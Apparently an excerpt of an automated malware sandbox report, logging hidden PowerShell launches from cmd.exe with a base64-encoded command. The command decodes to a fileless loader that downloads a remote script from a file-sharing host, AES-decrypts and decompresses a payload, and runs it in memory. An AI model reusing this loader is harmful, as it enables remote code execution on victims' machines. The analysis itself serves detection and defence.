Q2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJD